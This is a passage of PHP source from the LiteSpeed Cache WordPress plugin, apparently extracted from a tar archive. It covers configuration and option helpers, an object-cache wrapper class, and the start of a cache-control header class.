false ) { if (!defined('LSCWP_LOG_MORE')) { return; } if (defined('static::LOG_TAG')) { $msg = static::LOG_TAG . ' ' . $msg; } Debug2::debug2($msg, $backtrace_limit); } /** * Check if there is cache folder for that type * * @since 3.0 */ public function has_cache_folder( $type ) { $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; if (file_exists(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id)) { return true; } return false; } /** * Maybe make the cache folder if not existed * * @since 4.4.2 */ protected function _maybe_mk_cache_folder( $type ) { if (!$this->has_cache_folder($type)) { $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; $path = LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id; mkdir($path, 0755, true); } } /** * Delete file-based cache folder for that type * * @since 3.0 */ public function rm_cache_folder( $type ) { if (!$this->has_cache_folder($type)) { return; } $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; File::rrmdir(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id); // Clear All summary data self::save_summary(false, false, true); if ($type == 'ccss' || $type == 'ucss') { Debug2::debug('[CSS] Cleared ' . $type . ' queue'); } elseif ($type == 'avatar') { Debug2::debug('[Avatar] Cleared ' . $type . ' queue'); } elseif ($type == 'css' || $type == 'js') { return; } else { Debug2::debug('[' . strtoupper($type) . '] Cleared ' . $type . ' queue'); } } /** * Build the static filepath * * @since 4.0 */ protected function _build_filepath_prefix( $type ) { $filepath_prefix = '/' . $type . '/'; if (is_multisite()) { $filepath_prefix .= get_current_blog_id() . '/'; } return $filepath_prefix; } /** * Load current queues from data file * * @since 4.1 * @since 4.3 Elevated to root.cls */ public function load_queue( $type ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; $queue = array(); if (file_exists($static_path)) { $queue = \json_decode(file_get_contents($static_path), true) ?: array(); } return $queue; } /** * Save current queues to data file * * @since 4.1 * @since 4.3 Elevated to root.cls */ public function save_queue( $type, $list ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; $data = \json_encode($list); File::save($static_path, $data, true); } /** * Clear all waiting queues * * @since 3.4 * @since 4.3 Elevated to root.cls */ public function clear_q( $type, $silent = false ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; if (file_exists($static_path)) { $silent = false; unlink($static_path); } if (!$silent) { $msg = __('All QUIC.cloud service queues have been cleared.', 'litespeed-cache'); Admin_Display::success($msg); } } /** * Load an instance or create it if not existed * * @since 4.0 */ public static function cls( $cls = false, $unset = false, $data = false ) { if (!$cls) { $cls = self::ori_cls(); } $cls = __NAMESPACE__ . '\\' . $cls; $cls_tag = strtolower($cls); if (!isset(self::$_instances[$cls_tag])) { if ($unset) { return; } self::$_instances[$cls_tag] = new $cls($data); } elseif ($unset) { unset(self::$_instances[$cls_tag]); return; } return self::$_instances[$cls_tag]; } /** * Set one conf or confs */ public function set_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_conf($k, $v); } return; } self::$_options[$id] = $val; } /** * Set one primary conf or confs */ public function set_primary_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_primary_conf($k, $v); } return; } self::$_primary_options[$id] = $val; } /** * Set one network conf */ public function set_network_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_network_conf($k, $v); } return; } self::$_network_options[$id] = $val; } /** * Set one const conf */ public function set_const_conf( $id, $val ) { self::$_const_options[$id] = $val; } /** * Check if is overwritten by const * * @since 3.0 */ public function const_overwritten( $id ) { if (!isset(self::$_const_options[$id]) || self::$_const_options[$id] == self::$_options[$id]) { return null; } return self::$_const_options[$id]; } /** * Check if is overwritten by primary site * * @since 3.2.2 */ public function primary_overwritten( $id ) { if (!isset(self::$_primary_options[$id]) || self::$_primary_options[$id] == self::$_options[$id]) { return null; } // Network admin settings is impossible to be overwritten by primary if (is_network_admin()) { return null; } return self::$_primary_options[$id]; } /** * Check if is overwritten by filter. * * @since 7.7 */ public function filter_overwritten( $id ) { $val_setting = $this->conf($id, true); // if setting not found if( null === $val_setting ){ return null; } $filter_name = 'litespeed_conf_load_option_' . $id; $val_filter = apply_filters($filter_name, $val_setting ); if ($val_setting === $val_filter) { // If the value is the same, return null. return null; } return $val_filter; } /** * Check if is overwritten by code filter * * @deprecated 7.7 Use general filter_overwritten() * @since 7.4 */ public function deprecated_filter_overwritten( $id ) { $cls_admin_display = Admin_Display::$settings_filters; // Check if filter name is set. if(!isset($cls_admin_display[$id]) || !isset($cls_admin_display[$id]['filter']) || is_array($cls_admin_display[$id]['filter']) ){ return null; } $val_setting = $this->conf($id, true); // if setting not found if( null === $val_setting ){ $val_setting = ''; } $val_filter = apply_filters($cls_admin_display[$id]['filter'], $val_setting ); if ($val_setting === $val_filter) { // If the value is the same, return null. return null; } return $val_filter; } /** * Check if is overwritten by $SERVER variable * * @since 7.4 */ public function server_overwritten( $id ) { $cls_admin_display = Admin_Display::$settings_filters; if(!isset($cls_admin_display[$id]['filter'])){ return null; } if(!is_array($cls_admin_display[$id]['filter'])) { $cls_admin_display[$id]['filter'] = array( $cls_admin_display[$id]['filter'] ); } foreach( $cls_admin_display[$id]['filter'] as $variable ){ if(isset($_SERVER[$variable])) { return [ $variable , $_SERVER[$variable] ] ; } } return null; } /** * Get the list of configured options for the blog. * * @since 1.0 */ public function get_options( $ori = false ) { if (!$ori) { return array_merge(self::$_options, self::$_primary_options, self::$_network_options, self::$_const_options); } return self::$_options; } /** * If has a conf or not */ public function has_conf( $id ) { return array_key_exists($id, self::$_options); } /** * If has a primary conf or not */ public function has_primary_conf( $id ) { return array_key_exists($id, self::$_primary_options); } /** * If has a network conf or not */ public function has_network_conf( $id ) { return array_key_exists($id, self::$_network_options); } /** * Get conf */ public function conf( $id, $ori = false ) { if (isset(self::$_options[$id])) { if (!$ori) { $val = $this->const_overwritten($id); if ($val !== null) { defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true)); return $val; } $val = $this->primary_overwritten($id); // Network Use primary site settings if ($val !== null) { return $val; } $val = $this->filter_overwritten($id); if ($val !== null) { return $val; } } // Network original value will be in _network_options if (!is_network_admin() || !$this->has_network_conf($id)) { return self::$_options[$id]; } } if ($this->has_network_conf($id)) { if (!$ori) { $val = $this->const_overwritten($id); if ($val !== null) { defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true)); return $val; } } return $this->network_conf($id); } defined('LSCWP_LOG') && Debug2::debug('[Conf] Invalid option ID ' . $id); return null; } /** * Get primary conf */ public function primary_conf( $id ) { return self::$_primary_options[$id]; } /** * Get network conf */ public function network_conf( $id ) { if (!$this->has_network_conf($id)) { return null; } return self::$_network_options[$id]; } /** * Get called class short name */ public static function ori_cls() { $cls = new \ReflectionClass(get_called_class()); $shortname = $cls->getShortName(); $namespace = str_replace(__NAMESPACE__ . '\\', '', $cls->getNamespaceName() . '\\'); if ($namespace) { // the left namespace after dropped LiteSpeed $shortname = $namespace . $shortname; } return $shortname; } /** * Generate conf name for wp_options record * * @since 3.0 */ public static function name( $id ) { $name = strtolower(self::ori_cls()); return 'litespeed.' . $name . '.' . $id; } /** * Dropin with prefix for WP's get_option * * @since 3.0 */ public static function get_option( $id, $default_v = false ) { $v = get_option(self::name($id), $default_v); // Maybe decode array if (is_array($default_v)) { $v = self::_maybe_decode($v); } return $v; } /** * Dropin with prefix for WP's get_site_option * * @since 3.0 */ public static function get_site_option( $id, $default_v = false ) { $v = get_site_option(self::name($id), $default_v); // Maybe decode array if (is_array($default_v)) { $v = self::_maybe_decode($v); } return $v; } /** * Dropin with prefix for WP's add_option * * @since 3.0 */ public static function add_option( $id, $v ) { add_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's add_site_option * * @since 3.0 */ public static function add_site_option( $id, $v ) { add_site_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's update_option * * @since 3.0 */ public static function update_option( $id, $v ) { update_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's update_site_option * * @since 3.0 */ public static function update_site_option( $id, $v ) { update_site_option(self::name($id), self::_maybe_encode($v)); } /** * Decode an array * * @since 4.0 */ protected static function _maybe_decode( $v ) { if (!is_array($v)) { $v2 = \json_decode($v, true); if ($v2 !== null) { $v = $v2; } } return $v; } /** * Encode an array * * @since 4.0 */ private static function _maybe_encode( $v ) { if (is_array($v)) { $v = \json_encode($v) ?: $v; // Non utf-8 encoded value will get failed, then used ori value } return $v; } /** * Dropin with prefix for WP's delete_option * * @since 3.0 */ public static function delete_option( $id ) { delete_option(self::name($id)); } /** * Dropin with prefix for WP's delete_site_option * * @since 3.0 */ public static function delete_site_option( $id ) { delete_site_option(self::name($id)); } /** * Read summary * * @since 3.0 * @access public */ public static function get_summary( $field = false ) { $summary = self::get_option('_summary', array()); if (!is_array($summary)) { $summary = array(); } if (!$field) { return $summary; } if (array_key_exists($field, $summary)) { return $summary[$field]; } return null; } /** * Save summary * * @since 3.0 * @access public */ public static function save_summary( $data = false, $reload = false, $overwrite = false ) { if ($reload || empty(static::cls()->_summary)) { self::reload_summary(); } $existing_summary = static::cls()->_summary; if ($overwrite || !is_array($existing_summary)) { $existing_summary = array(); } $new_summary = array_merge($existing_summary, $data ?: array()); // self::debug2('Save after Reloaded summary', $new_summary); static::cls()->_summary = $new_summary; self::update_option('_summary', $new_summary); } /** * Reload summary * * @since 5.0 */ public static function reload_summary() { static::cls()->_summary = self::get_summary(); // self::debug2( 'Reloaded summary', static::cls()->_summary ); } /** * Get the current instance object. To be inherited. * * @since 3.0 */ public static function get_instance() { return static::cls(); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/object-cache-wp.cls.php�������������������������������������������������0000644�����������������00000045504�15233526476�0016304 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP Object Cache wrapper for LiteSpeed Cache. * * Provides a drop-in-compatible object cache implementation that proxies to * LiteSpeed's persistent cache while keeping a local runtime cache. * * @package LiteSpeed * @since 1.8 */ /** * Class WP_Object_Cache * * Implements the WordPress object cache for LiteSpeed Cache. * * @since 1.8 * @package LiteSpeed */ class WP_Object_Cache { /** * Singleton instance * * @since 1.8 * @access protected * @var WP_Object_Cache|null */ protected static $_instance; /** * Object cache instance * * @since 1.8 * @access private * @var \LiteSpeed\Object_Cache */ private $_object_cache; /** * Cache storage * * @since 1.8 * @access private * @var array */ private $_cache = []; /** * Cache for 404 keys * * @since 1.8 * @access private * @var array */ private $_cache_404 = []; /** * Total cache operations * * @since 1.8 * @access private * @var int */ private $cache_total = 0; /** * Cache hits within call * * @since 1.8 * @access private * @var int */ private $count_hit_incall = 0; /** * Cache hits * * @since 1.8 * @access private * @var int */ private $count_hit = 0; /** * Cache misses within call * * @since 1.8 * @access private * @var int */ private $count_miss_incall = 0; /** * Cache misses * * @since 1.8 * @access private * @var int */ private $count_miss = 0; /** * Cache set operations * * @since 1.8 * @access private * @var int */ private $count_set = 0; /** * Global cache groups * * @since 1.8 * @access protected * @var array */ protected $global_groups = []; /** * Blog prefix for cache keys * * @since 1.8 * @access private * @var string */ private $blog_prefix; /** * Multisite flag * * @since 1.8 * @access private * @var bool */ private $multisite; /** * Init. * * Initializes the object cache with LiteSpeed settings. * * @since 1.8 * @access public */ public function __construct() { $this->_object_cache = \LiteSpeed\Object_Cache::cls(); $this->multisite = is_multisite(); $this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : ''; /** * Fix multiple instance using same oc issue * * @since 1.8.2 */ if ( ! defined( 'LSOC_PREFIX' ) ) { define( 'LSOC_PREFIX', substr( md5( __FILE__ ), -5 ) ); } } /** * Makes private properties readable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { $this->$name = $value; return $this->$name; } /** * Makes private properties checkable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to unset. */ public function __unset( $name ) { unset( $this->$name ); } /** * Serves as a utility function to determine whether a key is valid. * * @since 5.4 * @access protected * * @param int|string $key Cache key to check for validity. * @return bool Whether the key is valid. */ protected function is_valid_key( $key ) { if ( is_int( $key ) ) { return true; } if ( is_string( $key ) && '' !== trim( $key ) ) { return true; } $type = gettype( $key ); if ( ! function_exists( '__' ) ) { wp_load_translations_early(); } $message = is_string( $key ) ? __( 'Cache key must not be an empty string.' ) : sprintf( /* translators: %s: The type of the given cache key. */ __( 'Cache key must be integer or non-empty string, %s given.' ), $type ); _doing_it_wrong( esc_html( __METHOD__ ), esc_html( $message ), '6.1.0' ); return false; } /** * Get the final key. * * Generates a unique cache key based on group and prefix. * * @since 1.8 * @access private * @param int|string $key Cache key. * @param string $group Optional. Cache group. Default 'default'. * @return string The final cache key. */ private function _key( $key, $group = 'default' ) { if ( empty( $group ) ) { $group = 'default'; } $prefix = $this->_object_cache->is_global( $group ) ? '' : $this->blog_prefix; return LSOC_PREFIX . $prefix . $group . '.' . $key; } /** * Output debug info. * * Returns cache statistics for debugging purposes. * * @since 1.8 * @access public * @return string Cache statistics. */ public function debug() { return ' [total] ' . $this->cache_total . ' [hit_incall] ' . $this->count_hit_incall . ' [hit] ' . $this->count_hit . ' [miss_incall] ' . $this->count_miss_incall . ' [miss] ' . $this->count_miss . ' [set] ' . $this->count_set; } /** * Adds data to the cache if it doesn't already exist. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ public function add( $key, $data, $group = 'default', $expire = 0 ) { if ( wp_suspend_cache_addition() ) { return false; } if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( array_key_exists( $id, $this->_cache ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 5.4 * @access public * * @param array $data Array of keys and values to be added. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ public function add_multiple( array $data, $group = '', $expire = 0 ) { $values = []; foreach ( $data as $key => $value ) { $values[ $key ] = $this->add( $key, $value, $group, $expire ); } return $values; } /** * Replaces the contents in the cache, if contents already exist. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ public function replace( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( ! array_key_exists( $id, $this->_cache ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Sets the data contents into the cache. * * The cache contents are grouped by the $group parameter followed by the * $key. This allows for duplicate IDs in unique groups. Therefore, naming of * the group should be used with care and should follow normal function * naming guidelines outside of core WordPress usage. * * The $expire parameter is not used, because the cache will automatically * expire for each time a page is accessed and PHP finishes. The method is * more for cache plugins which use files. * * @since 1.8 * @since 5.4 Returns false if cache key is invalid. * @access public * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were set, false if key is invalid. */ public function set( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( is_object( $data ) ) { $data = clone $data; } $this->_cache[ $id ] = $data; if ( array_key_exists( $id, $this->_cache_404 ) ) { unset( $this->_cache_404[ $id ] ); } if ( ! $this->_object_cache->is_non_persistent( $group ) ) { // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize $this->_object_cache->set( $id, serialize( [ 'data' => $data ] ), (int) $expire ); ++$this->count_set; } return true; } /** * Sets multiple values to the cache in one call. * * @since 5.4 * @access public * * @param array $data Array of key and value to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is always true. */ public function set_multiple( array $data, $group = '', $expire = 0 ) { $values = []; foreach ( $data as $key => $value ) { $values[ $key ] = $this->set( $key, $value, $group, $expire ); } return $values; } /** * Retrieves the cache contents, if it exists. * * The contents will be first attempted to be retrieved by searching by the * key in the cache group. If the cache is hit (success) then the contents * are returned. * * On failure, the number of cache misses will be incremented. * * @since 1.8 * @access public * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Unused. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ public function get( $key, $group = 'default', $force = false, &$found = null ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); $found = false; $found_in_oc = false; $cache_val = false; if ( array_key_exists( $id, $this->_cache ) && ! $force ) { $found = true; $cache_val = $this->_cache[ $id ]; ++$this->count_hit_incall; } elseif ( ! array_key_exists( $id, $this->_cache_404 ) && ! $this->_object_cache->is_non_persistent( $group ) ) { $v = $this->_object_cache->get( $id, $group ); if ( false !== $v ) { $v = maybe_unserialize( $v ); } // To be compatible with false val. if ( is_array( $v ) && array_key_exists( 'data', $v ) ) { ++$this->count_hit; $found = true; $found_in_oc = true; $cache_val = $v['data']; } else { // Can't find key, cache it to 404. $this->_cache_404[ $id ] = 1; ++$this->count_miss; } } else { ++$this->count_miss_incall; } if ( is_object( $cache_val ) ) { $cache_val = clone $cache_val; } if ( $found_in_oc ) { $this->_cache[ $id ] = $cache_val; } ++$this->cache_total; return $cache_val; } /** * Retrieves multiple values from the cache in one call. * * @since 5.4 * @access public * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ public function get_multiple( $keys, $group = 'default', $force = false ) { $values = []; foreach ( $keys as $key ) { $values[ $key ] = $this->get( $key, $group, $force ); } return $values; } /** * Removes the contents of the cache key in the group. * * If the cache key does not exist in the group, then nothing will happen. * * @since 1.8 * @access public * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @return bool True on success, false if the contents were not deleted. */ public function delete( $key, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( array_key_exists( $id, $this->_cache ) ) { unset( $this->_cache[ $id ] ); } if ( $this->_object_cache->is_non_persistent( $group ) ) { return false; } return $this->_object_cache->delete( $id ); } /** * Deletes multiple values from the cache in one call. * * @since 5.4 * @access public * * @param array $keys Array of keys to be deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ public function delete_multiple( array $keys, $group = '' ) { $values = []; foreach ( $keys as $key ) { $values[ $key ] = $this->delete( $key, $group ); } return $values; } /** * Increments numeric cache item's value. * * @since 5.4 * @access public * * @param int|string $key The cache key to increment. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function incr( $key, $offset = 1, $group = 'default' ) { return $this->incr_desr( $key, $offset, $group, true ); } /** * Decrements numeric cache item's value. * * @since 5.4 * @access public * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function decr( $key, $offset = 1, $group = 'default' ) { return $this->incr_desr( $key, $offset, $group, false ); } /** * Increments or decrements numeric cache item's value. * * @since 1.8 * @access public * * @param int|string $key The cache key to increment or decrement. * @param int $offset The amount by which to adjust the item's value. * @param string $group Optional. The group the key is in. Default 'default'. * @param bool $incr True to increment, false to decrement. * @return int|false The item's new value on success, false on failure. */ public function incr_desr( $key, $offset = 1, $group = 'default', $incr = true ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $cache_val = $this->get( $key, $group ); if ( false === $cache_val ) { return false; } if ( ! is_numeric( $cache_val ) ) { $cache_val = 0; } $offset = (int) $offset; if ( $incr ) { $cache_val += $offset; } else { $cache_val -= $offset; } if ( $cache_val < 0 ) { $cache_val = 0; } $this->set( $key, $cache_val, $group ); return $cache_val; } /** * Clears the object cache of all data. * * @since 1.8 * @access public * * @return true Always returns true. */ public function flush() { $this->flush_runtime(); $this->_object_cache->flush(); return true; } /** * Removes all cache items from the in-memory runtime cache. * * @since 5.4 * @access public * * @return true Always returns true. */ public function flush_runtime() { $this->_cache = []; $this->_cache_404 = []; return true; } /** * Removes all cache items in a group. * * @since 5.4 * @access public * * @return true Always returns true. */ public function flush_group() { return true; } /** * Sets the list of global cache groups. * * @since 1.8 * @access public * * @param string|string[] $groups List of groups that are global. */ public function add_global_groups( $groups ) { $groups = (array) $groups; $this->_object_cache->add_global_groups( $groups ); } /** * Sets the list of non-persistent cache groups. * * @since 1.8 * @access public * * @param string|string[] $groups A group or an array of groups to add. */ public function add_non_persistent_groups( $groups ) { $groups = (array) $groups; $this->_object_cache->add_non_persistent_groups( $groups ); } /** * Switches the internal blog ID. * * This changes the blog ID used to create keys in blog specific groups. * * @since 1.8 * @access public * * @param int $blog_id Blog ID. */ public function switch_to_blog( $blog_id ) { $blog_id = (int) $blog_id; $this->blog_prefix = $this->multisite ? $blog_id . ':' : ''; } /** * Get the current instance object. * * @since 1.8 * @access public * * @return WP_Object_Cache The current instance. */ public static function get_instance() { if ( ! isset( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/control.cls.php���������������������������������������������������������0000644�����������������00000060545�15233526476�0015033 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The plugin cache-control class for X-LiteSpeed-Cache-Control. * * Provides helpers for determining cacheability, emitting cache-control headers, * and honoring various LiteSpeed Cache configuration options. * * @package LiteSpeed * @since 1.1.3 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Control * * Handles cache-control flags, TTL calculation, redirection checks, * role-based exclusions, and final header output. */ class Control extends Root { const LOG_TAG = '💵'; const BM_CACHEABLE = 1; const BM_PRIVATE = 2; const BM_SHARED = 4; const BM_NO_VARY = 8; const BM_FORCED_CACHEABLE = 32; const BM_PUBLIC_FORCED = 64; const BM_STALE = 128; const BM_NOTCACHEABLE = 256; const X_HEADER = 'X-LiteSpeed-Cache-Control'; /** * Bitmask control flags for current request. * * @var int */ protected static $_control = 0; /** * Custom TTL for current request (seconds). * * @var int */ protected static $_custom_ttl = 0; /** * Mapping of HTTP status codes to custom TTLs. * * @var array<string,int|string> */ private $_response_header_ttls = []; /** * Init cache control. * * @since 1.6.2 * @return void */ public function init() { /** * Add vary filter for Role Excludes. * * @since 1.6.2 */ add_filter( 'litespeed_vary', [ $this, 'vary_add_role_exclude' ] ); // 301 redirect hook. add_filter( 'wp_redirect', [ $this, 'check_redirect' ], 10, 2 ); // Load response header conf. $this->_response_header_ttls = $this->conf( Base::O_CACHE_TTL_STATUS ); foreach ( $this->_response_header_ttls as $k => $v ) { $v = explode( ' ', $v ); if ( empty( $v[0] ) || empty( $v[1] ) ) { continue; } $this->_response_header_ttls[ $v[0] ] = $v[1]; } if ( $this->conf( Base::O_PURGE_STALE ) ) { $this->set_stale(); } } /** * Exclude role from optimization filter. * * @since 1.6.2 * @access public * * @param array<string,mixed> $vary Existing vary map. * @return array<string,mixed> */ public function vary_add_role_exclude( $vary ) { if ( $this->in_cache_exc_roles() ) { $vary['role_exclude_cache'] = 1; } return $vary; } /** * Check if one user role is in exclude cache group settings. * * @since 1.6.2 * @since 3.0 Moved here from conf.cls * @access public * * @param string|null $role The user role. * @return string|false Comma-separated roles if set, otherwise false. */ public function in_cache_exc_roles( $role = null ) { // Get user role. if ( null === $role ) { $role = Router::get_role(); } if ( ! $role ) { return false; } $roles = explode( ',', $role ); $found = array_intersect( $roles, $this->conf( Base::O_CACHE_EXC_ROLES ) ); return $found ? implode( ',', $found ) : false; } /** * 1. Initialize cacheable status for `wp` hook * 2. Hook error page tags for cacheable pages * * @since 1.1.3 * @access public * @return void */ public function init_cacheable() { // Hook `wp` to mark default cacheable status. // NOTE: Any process that does NOT run into `wp` hook will not get cacheable by default. add_action( 'wp', [ $this, 'set_cacheable' ], 5 ); // Hook WP REST to be cacheable. if ( $this->conf( Base::O_CACHE_REST ) ) { add_action( 'rest_api_init', [ $this, 'set_cacheable' ], 5 ); } // AJAX cache. $ajax_cache = $this->conf( Base::O_CACHE_AJAX_TTL ); foreach ( $ajax_cache as $v ) { $v = explode( ' ', $v ); if ( empty( $v[0] ) || empty( $v[1] ) ) { continue; } add_action( 'wp_ajax_nopriv_' . $v[0], function () use ( $v ) { self::set_custom_ttl( $v[1] ); self::force_cacheable( 'ajax Cache setting for action ' . $v[0] ); }, 4 ); } // Check error page. add_filter( 'status_header', [ $this, 'check_error_codes' ], 10, 2 ); } /** * Check if the page returns any error code. * * @since 1.0.13.1 * @access public * * @param string $status_header Status header. * @param int $code HTTP status code. * @return string Original status header. */ public function check_error_codes( $status_header, $code ) { if ( array_key_exists( $code, $this->_response_header_ttls ) ) { if ( self::is_cacheable() && ! $this->_response_header_ttls[ $code ] ) { self::set_nocache( '[Ctrl] TTL is set to no cache [status_header] ' . $code ); } // Set TTL. self::set_custom_ttl( $this->_response_header_ttls[ $code ] ); } elseif ( self::is_cacheable() ) { $first = substr( $code, 0, 1 ); if ( '4' === $first || '5' === $first ) { self::set_nocache( '[Ctrl] 4xx/5xx default to no cache [status_header] ' . $code ); } } // Set cache tag. if ( in_array( $code, Tag::$error_code_tags, true ) ) { Tag::add( Tag::TYPE_HTTP . $code ); } // Give the default status_header back. return $status_header; } /** * Set no vary setting. * * @access public * @since 1.1.3 * @return void */ public static function set_no_vary() { if ( self::is_no_vary() ) { return; } self::$_control |= self::BM_NO_VARY; self::debug( 'X Cache_control -> no-vary', 3 ); } /** * Get no vary setting. * * @access public * @since 1.1.3 * @return bool */ public static function is_no_vary() { return self::$_control & self::BM_NO_VARY; } /** * Set stale. * * @access public * @since 1.1.3 * @return void */ public function set_stale() { if ( self::is_stale() ) { return; } self::$_control |= self::BM_STALE; self::debug( 'X Cache_control -> stale' ); } /** * Get stale. * * @access public * @since 1.1.3 * @return bool */ public static function is_stale() { return self::$_control & self::BM_STALE; } /** * Set cache control to shared private. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to mark shared, or false. * @return void */ public static function set_shared( $reason = false ) { if ( self::is_shared() ) { return; } self::$_control |= self::BM_SHARED; self::set_private(); if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> shared ' . $reason ); } /** * Check if is shared private. * * @access public * @since 1.1.3 * @return bool */ public static function is_shared() { return (bool) ( self::$_control & self::BM_SHARED ) && self::is_private(); } /** * Set cache control to forced public. * * @access public * @since 1.7.1 * * @param string|false $reason Reason text or false. * @return void */ public static function set_public_forced( $reason = false ) { if ( self::is_public_forced() ) { return; } self::$_control |= self::BM_PUBLIC_FORCED; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> public forced ' . $reason ); } /** * Check if is public forced. * * @access public * @since 1.7.1 * @return bool */ public static function is_public_forced() { return self::$_control & self::BM_PUBLIC_FORCED; } /** * Set cache control to private. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to set private. * @return void */ public static function set_private( $reason = false ) { if ( self::is_private() ) { return; } self::$_control |= self::BM_PRIVATE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> private ' . $reason ); } /** * Check if is private. * * @access public * @since 1.1.3 * @return bool */ public static function is_private() { // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return false; // } return (bool) ( self::$_control & self::BM_PRIVATE ) && ! self::is_public_forced(); } 